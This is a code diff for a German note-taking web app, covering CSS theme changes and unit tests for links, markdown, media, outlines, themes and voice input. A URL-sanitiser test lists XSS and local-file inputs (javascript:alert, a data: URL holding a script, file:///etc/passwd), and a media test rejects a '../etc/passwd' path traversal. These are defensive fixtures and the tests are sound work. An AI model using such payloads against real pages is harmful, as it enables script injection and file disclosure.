vi.mocked(api.getFolders).mockResolvedValue(['Team']);
render(<WorkspaceView onStatsChange={vi.fn()} />);
await waitFor(() => {
// In pinned list
expect(screen.getByText('Pinned im Ordner')).toBeTruthy();
// Folder exists
expect(screen.getByText('Team')).toBeTruthy();
});
});
});
+178 -40
View File
@@ -11,10 +11,14 @@
@import './themes/theme-dark.css'; @import './themes/theme-dark.css';
@import './themes/theme-light.css'; @import './themes/theme-light.css';
@import './themes/theme-high-contrast.css'; @import './themes/theme-terracotta.css';
@import './themes/theme-soft.css'; @import './themes/theme-terracotta-night.css';
@import './themes/theme-polarized.css'; @import './themes/theme-polarized.css';
@import './themes/theme-suri.css'; @import './themes/theme-suri.css';
@import './themes/theme-fjord.css';
@import './themes/theme-fjord-night.css';
@import './themes/theme-polarized-light.css';
@import './themes/theme-suri-light.css';
@tailwind base; @tailwind base;
@tailwind components; @tailwind components;
@@ -28,7 +32,7 @@
body { body {
background-color: var(--bg-app); background-color: var(--bg-app);
color: var(--text-main); color: var(--text-main);
font-family: 'Inter', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif; font-family: 'Inter Variable', 'Inter', system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
overflow-x: hidden; overflow-x: hidden;
transition: background-color 140ms ease, color 140ms ease; transition: background-color 140ms ease, color 140ms ease;
} }
@@ -318,12 +322,14 @@ body {
pointer-events: none; pointer-events: none;
} }
.count-badge-accent { .count-badge-accent {
background-color: var(--accent-primary); background: var(--accent-dim);
color: var(--text-on-accent); color: var(--accent-primary);
border: 1px solid var(--accent-border);
} }
.count-badge-muted { .count-badge-muted {
background-color: var(--text-muted); background-color: var(--bg-panel-elevated);
color: var(--bg-panel); color: var(--text-muted);
border: 1px solid var(--border-color);
} }
.count-badge-corner { .count-badge-corner {
position: absolute; position: absolute;
@@ -411,62 +417,106 @@ body {
color: var(--text-main); color: var(--text-main);
} }
/* Prism Syntax Highlighting Tokens */ /* Prism Syntax Highlighting Tokens (VS Code Dark+ / Light+ via Theme Variables).
Fallbacks only (:where has no specificity): a theme's own --code-* values always win. */
:where(:root) {
--code-keyword: #569cd6;
--code-string: #ce9178;
--code-number: #b5cea8;
--code-comment: #6a9955;
--code-property: #9cdcfe;
--code-function: #dcdcaa;
--code-type: #4ec9b0;
--code-punctuation: #d4d4d4;
--code-variable: #9cdcfe;
}
:where(:root:not(.dark)) {
--code-keyword: #0000ff;
--code-string: #a31515;
--code-number: #098658;
--code-comment: #007000;
--code-property: #0451a5;
--code-function: #795e26;
--code-type: #267f99;
--code-punctuation: #2e2e2e;
--code-variable: #001080;
}
.token.comment, .token.comment,
.token.prolog, .token.prolog,
.token.doctype, .token.doctype,
.token.cdata { .token.cdata {
color: #71717a; color: var(--code-comment);
font-style: italic; font-style: italic;
} }
.token.punctuation { .token.punctuation,
color: #94a3b8; .token.operator {
color: var(--code-punctuation);
} }
.token.property, .token.property,
.token.tag, .token.key,
.token.boolean, .token.attr-name {
color: var(--code-property);
}
.token.string,
.token.char,
.token.attr-value,
.token.scalar,
.token.inserted,
.language-css .token.string,
.style .token.string {
color: var(--code-string);
}
.token.number, .token.number,
.token.constant, .token.constant,
.token.symbol, .token.symbol,
.token.deleted { .token.datetime {
color: #f43f5e; color: var(--code-number);
}
.token.selector,
.token.attr-name,
.token.string,
.token.char,
.token.builtin,
.token.inserted {
color: #10b981;
}
.token.operator,
.token.entity,
.token.url,
.language-css .token.string,
.style .token.string {
color: #38bdf8;
} }
.token.keyword,
.token.boolean,
.token.null,
.token.atrule, .token.atrule,
.token.attr-value, .token.directive,
.token.keyword { .token.tag,
color: #818cf8; .token.deleted {
font-weight: 600; color: var(--code-keyword);
}
.token.key.atrule {
color: var(--code-property);
} }
.token.function, .token.function,
.token.class-name { .token.function-variable {
color: #fbbf24; color: var(--code-function);
} }
.token.class-name,
.token.type,
.token.builtin,
.token.namespace {
color: var(--code-type);
}
.token.variable,
.token.regex, .token.regex,
.token.important, .token.important,
.token.variable { .token.selector,
color: #f97316; .token.entity,
.token.url {
color: var(--code-variable);
}
.token.boolean.important,
.token.null.important {
color: var(--code-keyword);
} }
} }
@@ -499,3 +549,91 @@ body {
padding-bottom: 6px !important; padding-bottom: 6px !important;
} }
} }
/* Read-only sections (e.g. server settings in the demo): everything inside looks switched off */
fieldset:disabled :is(button, input, select, textarea) {
opacity: 0.5;
cursor: not-allowed;
}
/* Workspace surfaces: the note editor and the folder sidebar. Themes may override them (the light theme
uses a white sheet next to a grey sidebar); by default they follow the page and panel colours. */
:root {
--bg-editor: var(--bg-app);
--bg-sidebar: var(--bg-panel);
}
/* Outliner: indent per level and the width a row keeps for its text. Phones indent less and let very
deep rows run wider than the screen (the note then scrolls sideways) instead of squeezing the text. */
:root {
--outline-indent: 14px;
--outline-min-text: 14rem;
}
@media (min-width: 640px) {
:root {
--outline-indent: 22px;
--outline-min-text: 0px;
}
}
/* Focus mode: the note fades in over the app */
@keyframes focus-mode-in {
from { opacity: 0; transform: scale(0.99); }
to { opacity: 1; transform: none; }
}
.focus-mode-enter {
animation: focus-mode-in 300ms ease-in-out;
}
@media (prefers-reduced-motion: reduce) {
.focus-mode-enter { animation: none; }
}
/* Views that replace each other (journal ↔ note) fade in instead of jumping */
@keyframes view-in {
from { opacity: 0; transform: translateY(6px); }
to { opacity: 1; transform: none; }
}
.view-enter {
animation: view-in 280ms ease-out;
}
@media (prefers-reduced-motion: reduce) {
.view-enter { animation: none; }
}
/* No sliding or zooming for people who asked their system for less motion */
@media (prefers-reduced-motion: reduce) {
.animate-in,
.animate-out {
animation: none !important;
}
}
/* Corner switch (Darstellung): overrides the theme's radii on every theme */
:root[data-corners='square'] {
--radius-card: 0px !important;
--radius-btn: 2px !important;
--radius-input: 2px !important;
--radius-checkbox: 0px !important;
}
:root[data-corners='round'] {
--radius-card: 12px !important;
--radius-btn: 8px !important;
--radius-input: 8px !important;
--radius-checkbox: 4px !important;
}
/* Button frames switch (Darstellung): without frames, regular buttons are a soft tint instead */
:root[data-button-borders='off'] :is(.btn-action, .btn-icon, .btn-secondary, .tab-btn, .chip-btn) {
border-color: transparent !important;
}
:root[data-button-borders='off'] :is(.btn-action, .btn-icon, .btn-secondary, .chip-btn):not(:disabled) {
background-color: color-mix(in srgb, var(--text-main) 6%, transparent);
}
:root[data-button-borders='off'] :is(.btn-action, .btn-icon, .btn-secondary, .chip-btn):not(:disabled):hover {
background-color: color-mix(in srgb, var(--text-main) 11%, transparent);
}
/* … the selected tab keeps a visible accent tint */
:root[data-button-borders='off'] .chip-btn.border-accent {
background-color: var(--accent-dim) !important;
color: var(--accent-primary);
}
@@ -0,0 +1,16 @@
import { describe, it, expect } from 'vitest';
import { monthGrid, toISODate, parseISODate } from '../journal';
describe('journal dates', () => {
it('builds a Monday-first month grid', () => {
// October 2026 starts on a Thursday
const weeks = monthGrid(2026, 9);
expect(weeks[0]).toEqual([null, null, null, '2026-10-01', '2026-10-02', '2026-10-03', '2026-10-04']);
expect(weeks.flat().filter(Boolean)).toHaveLength(31);
expect(weeks.every((w) => w.length === 7)).toBe(true);
});
it('round-trips local dates', () => {
expect(toISODate(parseISODate('2026-03-01'))).toBe('2026-03-01');
});
});
@@ -0,0 +1,31 @@
import { describe, expect, it } from 'vitest';
import { linkCardUrl, hidePreviewContent } from '../linkPreview';
describe('link preview helpers', () => {
it('returns the URL only when the entire trimmed content is a single https address', () => {
expect(linkCardUrl('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
expect(linkCardUrl(' https://example.com/page/ ')).toBe('https://example.com/page/');
expect(linkCardUrl('Rezept: https://koch.de/spaetzle, lecker!')).toBeNull();
expect(linkCardUrl('https://a.de https://b.de')).toBeNull();
expect(linkCardUrl('siehe (https://x.de/p).')).toBeNull();
expect(linkCardUrl('[Kochseite](https://koch.de)')).toBeNull();
expect(linkCardUrl('http://unsicher.de')).toBeNull();
expect(linkCardUrl('nur Text')).toBeNull();
});
it('hides a preview by turning the address into a named link', () => {
expect(hidePreviewContent('Lesen: https://koch.de/x', 'https://koch.de/x', 'Käsespätzle [Rezept]')).toBe(
'Lesen: [Käsespätzle Rezept](https://koch.de/x)'
);
expect(hidePreviewContent('https://koch.de/x', 'https://koch.de/x', '')).toBe('[koch.de](https://koch.de/x)');
expect(linkCardUrl(hidePreviewContent('https://koch.de/x', 'https://koch.de/x', 'T'))).toBeNull();
});
});
describe('linkHost', () => {
it('shows host and path without scheme and www', async () => {
const { linkHost } = await import('../linkPreview');
expect(linkHost('https://www.example.com/')).toBe('example.com');
expect(linkHost('https://example.com/blog/post')).toBe('example.com/blog/post');
});
});
@@ -0,0 +1,55 @@
import { describe, it, expect } from 'vitest';
import { render } from '@testing-library/react';
import { renderInlineMarkdown } from '../markdown';
describe('renderInlineMarkdown', () => {
it('renders bold text with <strong> tag', () => {
const { container } = render(<div>{renderInlineMarkdown('Text mit **fettem** Wort')}</div>);
const strong = container.querySelector('strong');
expect(strong).toBeTruthy();
expect(strong?.textContent).toBe('fettem');
});
it('renders inline code inside bold text', () => {
const { container } = render(<div>{renderInlineMarkdown('Der Block **`services`** startet')}</div>);
const code = container.querySelector('strong code');
expect(code?.textContent).toBe('services');
expect(container.textContent).toBe('Der Block services startet');
});
it('links bare web addresses without the trailing punctuation and keeps markdown links intact', () => {
const { container } = render(
<div>{renderInlineMarkdown('Siehe https://example.com/a_b_c. und [Doku](https://example.org/x) oder https://x.de/#frag')}</div>
);
const links = [...container.querySelectorAll('a')].map((a) => [a.textContent, a.getAttribute('href')]);
expect(links).toEqual([
['https://example.com/a_b_c', 'https://example.com/a_b_c'],
['Doku', 'https://example.org/x'],
['https://x.de/#frag', 'https://x.de/#frag'],
]);
expect(container.textContent).toBe('Siehe https://example.com/a_b_c. und Doku oder https://x.de/#frag');
});
it('renders italic text with <em> tag', () => {
const { container } = render(<div>{renderInlineMarkdown('Text mit *kursivem* Wort')}</div>);
const em = container.querySelector('em');
expect(em).toBeTruthy();
expect(em?.textContent).toBe('kursivem');
});
it('renders both bold and italic text in one paragraph', () => {
const { container } = render(<div>{renderInlineMarkdown('Hier ist **fett** und *kursiv* vereint')}</div>);
const strong = container.querySelector('strong');
const em = container.querySelector('em');
expect(strong?.textContent).toBe('fett');
expect(em?.textContent).toBe('kursiv');
});
it('renders links correctly', () => {
const { container } = render(<div>{renderInlineMarkdown('[Testseite](https://example.com)')}</div>);
const link = container.querySelector('a');
expect(link).toBeTruthy();
expect(link?.getAttribute('href')).toBe('https://example.com/');
expect(link?.textContent).toBe('Testseite');
});
});
+19
View File
@@ -0,0 +1,19 @@
import { describe, expect, it } from 'vitest';
import { mediaContent, parseMediaContent } from '../media';
describe('media content format', () => {
it('round-trips captions, also with brackets and backslashes', () => {
for (const caption of ['', 'Urlaub 2026', 'Plan [Entwurf]', 'C:\\Fotos\\x', 'zwei\nZeilen']) {
const content = mediaContent('image', 'med_0123abcd', caption);
expect(content.startsWith('![')).toBe(true);
expect(parseMediaContent(content)).toEqual({ id: 'med_0123abcd', caption: caption.replace(/\n/g, ' ') });
}
expect(mediaContent('audio', 'med_ff', 'Sprachnotiz')).toBe('[Sprachnotiz](media:med_ff)');
});
it('ignores anything that is not a media reference', () => {
expect(parseMediaContent('![x](https://example.com/a.png)')).toBeNull();
expect(parseMediaContent('Text ![x](media:med_aa)')).toBeNull();
expect(parseMediaContent('![x](media:../etc/passwd)')).toBeNull();
});
});
@@ -0,0 +1,57 @@
import { describe, it, expect } from 'vitest';
import { listLabel, moveSibling, numberedLabels } from '../outlineList';
import type { DocumentBlock } from '../types';
const blk = (id: string, level: number, type: DocumentBlock['type'] = 'numbered'): DocumentBlock => ({
id, documentId: 'd', type, content: id, level, position: 0,
});
describe('numbered lists', () => {
it('formats numbers, letters and roman numerals by depth', () => {
expect(listLabel(3, 0)).toBe('3.');
expect(listLabel(2, 1)).toBe('b.');
expect(listLabel(27, 1)).toBe('aa.');
expect(listLabel(4, 2)).toBe('iv.');
expect(listLabel(1, 3)).toBe('1.');
});
it('counts siblings, nests and restarts after other blocks', () => {
const labels = numberedLabels([
blk('a', 0), blk('a1', 1), blk('a2', 1), blk('a2i', 2), blk('b', 0),
blk('note', 0, 'text'), blk('c', 0), blk('plain', 1, 'text'), blk('c1', 2),
]);
expect(Object.fromEntries(labels)).toEqual({
a: '1.', a1: 'a.', a2: 'b.', a2i: 'i.', b: '2.', c: '1.', c1: 'a.',
});
});
});
describe('moveSibling (phone bar ↑ ↓)', () => {
// A
// a1
// a2
// a2x
// B
// b1
// C
const tree = [blk('A', 0), blk('a1', 1), blk('a2', 1), blk('a2x', 2), blk('B', 0), blk('b1', 1), blk('C', 0)];
const ids = (bs: DocumentBlock[]) => bs.map((b) => b.id).join(' ');
it('swaps with the previous sibling and takes the children along', () => {
expect(ids(moveSibling(tree, 'B', -1))).toBe('B b1 A a1 a2 a2x C');
expect(ids(moveSibling(tree, 'a2', -1))).toBe('A a2 a2x a1 B b1 C');
});
it('swaps with the next sibling, jumping over its whole branch', () => {
expect(ids(moveSibling(tree, 'A', 1))).toBe('B b1 A a1 a2 a2x C');
expect(ids(moveSibling(tree, 'a1', 1))).toBe('A a2 a2x a1 B b1 C');
});
it('never leaves its parent and stops at the ends', () => {
expect(moveSibling(tree, 'a1', -1)).toBe(tree); // first child
expect(moveSibling(tree, 'a2', 1)).toBe(tree); // last child
expect(moveSibling(tree, 'A', -1)).toBe(tree);
expect(moveSibling(tree, 'C', 1)).toBe(tree);
expect(moveSibling(tree, 'missing', 1)).toBe(tree);
});
});
@@ -0,0 +1,65 @@
import { describe, it, expect } from 'vitest';
import { parsePastedLines } from '../pasteOutline';
const parse = (text: string) => parsePastedLines(text.split('\n'));
describe('parsePastedLines', () => {
it('splits paragraphs at blank lines and keeps wrapped lines together', () => {
expect(parse('Erster Absatz\nnoch erster\n\nZweiter Absatz')).toEqual([
{ type: 'text', content: 'Erster Absatz\nnoch erster', indent: 0 },
{ type: 'text', content: 'Zweiter Absatz', indent: 0 },
]);
});
it('keeps numbered lists with nesting (3-space indent)', () => {
expect(parse('1. Eins\n 1. Unterpunkt\n 1. Tiefer\n2. Zwei')).toEqual([
{ type: 'numbered', content: 'Eins', indent: 0 },
{ type: 'numbered', content: 'Unterpunkt', indent: 1 },
{ type: 'numbered', content: 'Tiefer', indent: 2 },
{ type: 'numbered', content: 'Zwei', indent: 0 },
]);
});
it('reads headings, todos, bullets and dividers and nests sections under headings', () => {
expect(parse('# Titel\nText danach\n- [x] erledigt\n* Punkt\n + tiefer\n---\nOhne Abschnitt')).toEqual([
{ type: 'h1', content: 'Titel', indent: 0 },
{ type: 'text', content: 'Text danach', indent: 1 },
{ type: 'todo', checked: true, content: 'erledigt', indent: 2 },
{ type: 'text', content: 'Punkt', indent: 2 },
{ type: 'text', content: 'tiefer', indent: 3 },
{ type: 'divider', content: '---', indent: 0 },
{ type: 'text', content: 'Ohne Abschnitt', indent: 0 },
]);
});
it('nests H2 below H1 and closes sections at the same rank', () => {
expect(parse('# A\n## A1\n1. eins\n## A2\nText\n# B\n- b')).toEqual([
{ type: 'h1', content: 'A', indent: 0 },
{ type: 'h2', content: 'A1', indent: 1 },
{ type: 'numbered', content: 'eins', indent: 2 },
{ type: 'h2', content: 'A2', indent: 1 },
{ type: 'text', content: 'Text', indent: 2 },
{ type: 'h1', content: 'B', indent: 0 },
{ type: 'text', content: 'b', indent: 1 },
]);
});
it('keeps fenced code as one block', () => {
const items = parse('```go\nfunc main() {}\n\n```\nDanach');
expect(items[0].content).toBe('```go\nfunc main() {}\n\n```');
expect(items[1]).toEqual({ type: 'text', content: 'Danach', indent: 0 });
});
it('nests a list under the paragraph that introduces it', () => {
expect(parse('# Plan\nFolgende Punkte:\n\n- eins\n - tiefer\n- zwei\n\nDanach Text\n1. a\n2. b')).toEqual([
{ type: 'h1', content: 'Plan', indent: 0 },
{ type: 'text', content: 'Folgende Punkte:', indent: 1 },
{ type: 'text', content: 'eins', indent: 2 },
{ type: 'text', content: 'tiefer', indent: 3 },
{ type: 'text', content: 'zwei', indent: 2 },
{ type: 'text', content: 'Danach Text', indent: 1 },
{ type: 'numbered', content: 'a', indent: 2 },
{ type: 'numbered', content: 'b', indent: 2 },
]);
});
});
+14
View File
@@ -0,0 +1,14 @@
import { describe, it, expect } from 'vitest';
import { deviceName, urlBase64ToUint8Array } from '../push';
describe('push helpers', () => {
it('decodes the VAPID key (base64url without padding)', () => {
expect(Array.from(urlBase64ToUint8Array('AQID_-8'))).toEqual([1, 2, 3, 255, 239]);
});
it('names the device', () => {
expect(deviceName('Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0')).toBe('Firefox auf Linux');
expect(deviceName('Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/129.0 Mobile Safari/537.36')).toBe('Chrome auf Android');
expect(deviceName('Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 Version/18.0 Mobile/15E148 Safari/604.1')).toBe('Safari auf iOS');
});
});
@@ -0,0 +1,38 @@
import { describe, it, expect } from 'vitest';
import { safeHref } from '../safeUrl';
describe('safeHref', () => {
it('keeps web and mail links', () => {
expect(safeHref('https://example.com/a?b=1')).toBe('https://example.com/a?b=1');
expect(safeHref(' http://example.com ')).toBe('http://example.com/');
expect(safeHref('mailto:anna@example.com')).toBe('mailto:anna@example.com');
});
it('drops everything that could run code or load local data', () => {
for (const bad of [
'javascript:alert(1)',
'JaVaScRiPt:alert(1)',
' javascript:alert(1)',
'java\tscript:alert(1)',
'java\nscript:alert(1)',
'data:text/html,<script>alert(1)</script>',
'vbscript:msgbox(1)',
'file:///etc/passwd',
'/relative/path',
'',
]) {
expect(safeHref(bad)).toBeNull();
}
});
});
describe('Markdown links in task notes', () => {
it('render javascript: links as text, web links as links', async () => {
const { render } = await import('@testing-library/react');
const { MarkdownViewer } = await import('../markdown');
const { container } = render(<MarkdownViewer content={'[Rechnung](javascript:alert(1)) und [Seite](https://example.com)'} />);
const links = Array.from(container.querySelectorAll('a'));
expect(links.map((a) => a.getAttribute('href'))).toEqual(['https://example.com/']);
expect(container.textContent).toContain('Rechnung');
});
});
@@ -0,0 +1,87 @@
import { describe, it, expect } from 'vitest';
import { formatSharedThought } from '../shareTarget';
describe('formatSharedThought', () => {
it('formats pure text correctly', () => {
expect(formatSharedThought({ text: 'Spontaner Einfall' })).toBe('Spontaner Einfall');
});
it('formats pure url correctly', () => {
expect(formatSharedThought({ url: 'https://example.com/article' })).toBe('https://example.com/article');
});
it('combines title and url when text is empty', () => {
expect(formatSharedThought({ title: 'Toller Artikel', url: 'https://example.com/article' }))
.toBe('Toller Artikel\nhttps://example.com/article');
});
it('does not duplicate URL when text already contains it', () => {
const input = {
title: 'Artikel',
text: 'Lies das hier: https://example.com/article unbedingt!',
url: 'https://example.com/article',
};
expect(formatSharedThought(input))
.toBe('Artikel\nLies das hier: https://example.com/article unbedingt!');
});
it('does not duplicate URL when text is exactly the URL', () => {
const input = {
title: 'News',
text: 'https://news.example.com',
url: 'https://news.example.com',
};
expect(formatSharedThought(input))
.toBe('News\nhttps://news.example.com');
});
it('does not duplicate title if text starts with title', () => {
const input = {
title: 'MindSift Update',
text: 'MindSift Update ist jetzt verfügbar.',
};
expect(formatSharedThought(input))
.toBe('MindSift Update ist jetzt verfügbar.');
});
it('combines title, text and distinct URL', () => {
const input = {
title: 'Empfehlung',
text: 'Ein großartiges Tool für schnelles Erfassen.',
url: 'https://mindsift.app',
};
expect(formatSharedThought(input))
.toBe('Empfehlung\nEin großartiges Tool für schnelles Erfassen.\nhttps://mindsift.app');
});
it('handles image with text', () => {
const input = {
title: 'Foto vom Ausflug',
fileName: 'berge.jpg',
hasMedia: true,
};
expect(formatSharedThought(input))
.toBe('Foto vom Ausflug\n(Bild geteilt – Bilder im Posteingang werden noch nicht unterstützt)');
});
it('handles image only with filename', () => {
const input = {
fileName: 'screenshot.png',
hasMedia: true,
};
expect(formatSharedThought(input))
.toBe('[screenshot.png] (Bild geteilt – Bilder im Posteingang werden noch nicht unterstützt)');
});
it('handles image only without filename', () => {
const input = {
hasMedia: true,
};
expect(formatSharedThought(input))
.toBe('(Bild geteilt – Bilder im Posteingang werden noch nicht unterstützt)');
});
it('returns empty string if nothing is provided', () => {
expect(formatSharedThought({})).toBe('');
});
});
+92 -1
View File
@@ -1,5 +1,19 @@
import { describe, it, expect, beforeEach } from 'vitest'; import { describe, it, expect, beforeEach } from 'vitest';
import { setActiveTheme, initThemeOnBoot, customThemeOption, getActiveTheme } from '../theme'; import {
setActiveTheme,
initThemeOnBoot,
customThemeOption,
getActiveTheme,
themeCounterpart,
setCornerStyle,
getCornerStyle,
THEME_FAMILIES,
AVAILABLE_THEMES,
setFollowSystem,
resolveTheme,
setAccentColor,
setButtonBorders,
} from '../theme';
const lightCss = `:root[data-theme="papier"] { --bg-app: #fafafa; --accent-primary: #15803d; --radius-card: 8px; }`; const lightCss = `:root[data-theme="papier"] { --bg-app: #fafafa; --accent-primary: #15803d; --radius-card: 8px; }`;
@@ -65,3 +79,80 @@ describe('custom themes', () => {
expect(document.documentElement.classList.contains('dark')).toBe(true); expect(document.documentElement.classList.contains('dark')).toBe(true);
}); });
}); });
describe('built-in themes', () => {
beforeEach(() => localStorage.clear());
it('moves removed themes to their successors', () => {
localStorage.setItem('mindsift_active_theme', 'soft');
expect(getActiveTheme()).toBe('terracotta-night');
localStorage.setItem('mindsift_active_theme', 'high-contrast');
expect(getActiveTheme()).toBe('dark');
});
it('treats Terrakotta as a light theme and Terrakotta Nacht as dark', () => {
setActiveTheme('terracotta');
expect(document.documentElement.classList.contains('dark')).toBe(false);
setActiveTheme('terracotta-night');
expect(document.documentElement.classList.contains('dark')).toBe(true);
});
});
describe('theme families and corners', () => {
beforeEach(() => localStorage.clear());
it('pairs every family with an existing light and dark theme', () => {
for (const f of THEME_FAMILIES) {
expect(AVAILABLE_THEMES.find((t) => t.id === f.light)?.mode).toBe('light');
expect(AVAILABLE_THEMES.find((t) => t.id === f.dark)?.mode).toBe('dark');
}
expect(themeCounterpart('fjord')).toBe('fjord-night');
expect(themeCounterpart('polarized')).toBe('polarized-light');
expect(themeCounterpart('custom:x')).toBeNull();
});
it('forces round or square corners and keeps the choice', () => {
setCornerStyle('square');
expect(document.documentElement.getAttribute('data-corners')).toBe('square');
expect(getCornerStyle()).toBe('square');
setCornerStyle('theme');
expect(document.documentElement.hasAttribute('data-corners')).toBe(false);
expect(getCornerStyle()).toBe('theme');
});
});
describe('follow system, accent and button frames', () => {
beforeEach(() => localStorage.clear());
it('picks the family variant that matches the system when following it', () => {
const original = window.matchMedia;
window.matchMedia = ((q: string) => ({ matches: q.includes('dark'), media: q, addEventListener() {}, removeEventListener() {} })) as unknown as typeof window.matchMedia;
try {
expect(resolveTheme('fjord')).toBe('fjord');
setFollowSystem(true);
expect(resolveTheme('fjord')).toBe('fjord-night');
expect(resolveTheme('suri-light')).toBe('suri');
expect(resolveTheme('custom:x')).toBe('custom:x');
} finally {
window.matchMedia = original;
}
});
it('sets the accent variables and removes them again', () => {
setActiveTheme('dark');
setAccentColor('#c2410c');
const style = document.documentElement.style;
expect(style.getPropertyValue('--accent-primary')).toBe('#c2410c');
expect(style.getPropertyValue('--text-on-accent')).toBe('#ffffff');
expect(style.getPropertyValue('--accent-dim')).toBe('rgba(194, 65, 12, 0.16)');
setAccentColor(null);
expect(style.getPropertyValue('--accent-primary')).toBe('');
});
it('switches button frames off and on', () => {
setButtonBorders('off');
expect(document.documentElement.getAttribute('data-button-borders')).toBe('off');
setButtonBorders('on');
expect(document.documentElement.hasAttribute('data-button-borders')).toBe(false);
});
});
@@ -0,0 +1,250 @@
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import { act, renderHook, waitFor } from '@testing-library/react';
const getAuthStatus = vi.fn();
const transcribe = vi.fn();
vi.mock('../api', () => ({ api: { getAuthStatus: (...a: any[]) => getAuthStatus(...a), transcribe: (...a: any[]) => transcribe(...a) } }));
import { useVoiceInput } from '../useVoiceInput';
import { resetVoiceConfig } from '../voice';
class FakeMediaRecorder {
static isTypeSupported = (t: string) => t === 'audio/webm;codecs=opus';
state: 'inactive' | 'recording' = 'inactive';
mimeType = 'audio/webm;codecs=opus';
ondataavailable: ((e: { data: Blob }) => void) | null = null;
onstop: (() => void) | null = null;
constructor(public stream: any) {}
start() {
this.state = 'recording';
}
stop() {
this.state = 'inactive';
this.ondataavailable?.({ data: new Blob(['audio'], { type: this.mimeType }) });
this.onstop?.();
}
}
const stopTrack = vi.fn();
beforeEach(() => {
resetVoiceConfig();
getAuthStatus.mockReset();
transcribe.mockReset();
stopTrack.mockReset();
(window as any).MediaRecorder = FakeMediaRecorder;
Object.defineProperty(navigator, 'mediaDevices', {
configurable: true,
value: { getUserMedia: vi.fn(async () => ({ getTracks: () => [{ stop: stopTrack }] })) },
});
});
afterEach(() => {
delete (window as any).MediaRecorder;
delete (window as any).SpeechRecognition;
vi.useRealTimers();
});
describe('useVoiceInput', () => {
it('server mode: records, sends the audio to the own server and returns its text', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
transcribe.mockResolvedValue('Milch kaufen');
const onText = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText }));
await waitFor(() => expect(result.current.mode).toBe('server'));
expect(result.current.available).toBe(true);
await act(async () => {
await result.current.start();
});
expect(result.current.state).toBe('listening');
await act(async () => {
await result.current.stop();
});
expect(transcribe).toHaveBeenCalledTimes(1);
expect((transcribe.mock.calls[0][0] as Blob).type).toBe('audio/webm;codecs=opus');
expect(onText).toHaveBeenCalledWith('Milch kaufen', true);
expect(result.current.state).toBe('idle');
expect(stopTrack).toHaveBeenCalled(); // microphone released
});
it('server mode: cancel throws the recording away', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
const onText = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText }));
await waitFor(() => expect(result.current.mode).toBe('server'));
await act(async () => {
await result.current.start();
});
act(() => result.current.cancel());
expect(transcribe).not.toHaveBeenCalled();
expect(onText).not.toHaveBeenCalled();
expect(result.current.state).toBe('idle');
});
it('server mode: a failing server reports an error instead of text', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 600 } });
transcribe.mockRejectedValue(new Error('Spracherkennung fehlgeschlagen'));
const onText = vi.fn();
const onError = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText, onError }));
await waitFor(() => expect(result.current.mode).toBe('server'));
await act(async () => {
await result.current.start();
});
await act(async () => {
await result.current.stop();
});
expect(onError).toHaveBeenCalledWith('Spracherkennung fehlgeschlagen');
expect(onText).not.toHaveBeenCalled();
expect(result.current.state).toBe('idle');
});
it('server mode: stops by itself after the maximum length', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'server', maxSeconds: 5 } });
transcribe.mockResolvedValue('Zu lang');
const onText = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText }));
await waitFor(() => expect(result.current.mode).toBe('server'));
vi.useFakeTimers();
await act(async () => {
await result.current.start();
});
await act(async () => {
vi.advanceTimersByTime(5000);
});
vi.useRealTimers();
await waitFor(() => expect(onText).toHaveBeenCalledWith('Zu lang', true));
});
it('hides the microphone when switched off, and without browser recognition', async () => {
getAuthStatus.mockResolvedValue({ voice: { mode: 'off', maxSeconds: 600 } });
const off = renderHook(() => useVoiceInput({ onText: vi.fn() }));
await waitFor(() => expect(off.result.current.mode).toBe('off'));
expect(off.result.current.available).toBe(false);
resetVoiceConfig();
getAuthStatus.mockResolvedValue({ voice: { mode: 'browser', maxSeconds: 600 } });
const none = renderHook(() => useVoiceInput({ onText: vi.fn() }));
await waitFor(() => expect(none.result.current.mode).toBe('unsupported'));
expect(none.result.current.available).toBe(false);
});
it('browser mode with live=true: restarts on pause (onend), keeps base text, rate-limits restarts to 300ms, and sends final=true only on stop()', async () => {
const instances: any[] = [];
class FakeSpeechRecognition {
lang = '';
interimResults = false;
continuous = false;
onresult: ((e: any) => void) | null = null;
onerror: ((e: any) => void) | null = null;
onend: (() => void) | null = null;
constructor() {
instances.push(this);
}
start() {}
stop() {
this.onend?.();
}
abort() {}
}
(window as any).SpeechRecognition = FakeSpeechRecognition;
getAuthStatus.mockResolvedValue({ voice: { mode: 'browser', maxSeconds: 600 } });
const onText = vi.fn();
const { result } = renderHook(() => useVoiceInput({ onText, live: true }));
await waitFor(() => expect(result.current.mode).toBe('browser'));
vi.useFakeTimers();
await act(async () => {
await result.current.start();
});
expect(instances).toHaveLength(1);
// First utterance before a pause
act(() => {
instances[0].onresult?.({ results: [[{ transcript: 'Erster Satz.' }]] });
});
expect(onText).toHaveBeenLastCalledWith('Erster Satz.', false);
// Browser ends recognition on speech pause -> immediate restart (#2)
act(() => {
instances[0].onend?.();
});
expect(instances).toHaveLength(2);
expect(onText).not.toHaveBeenCalledWith(expect.anything(), true);
// Another immediate onend within <300ms waits until 300ms have passed
act(() => {
instances[1].onend?.();
});
expect(instances).toHaveLength(2);
act(() => {
vi.advanceTimersByTime(300);
});
expect(instances).toHaveLength(3);
// Second utterance appends to base text
act(() => {
instances[2].onresult?.({ results: [[{ transcript: 'Zweiter Satz.' }]] });
});
expect(onText).toHaveBeenLastCalledWith('Erster Satz. Zweiter Satz.', false);
// Explicit stop() finishes with final=true
await act(async () => {
await result.current.stop();
});
expect(onText).toHaveBeenLastCalledWith('Erster Satz. Zweiter Satz.', true);
expect(result.current.state).toBe('idle');
});
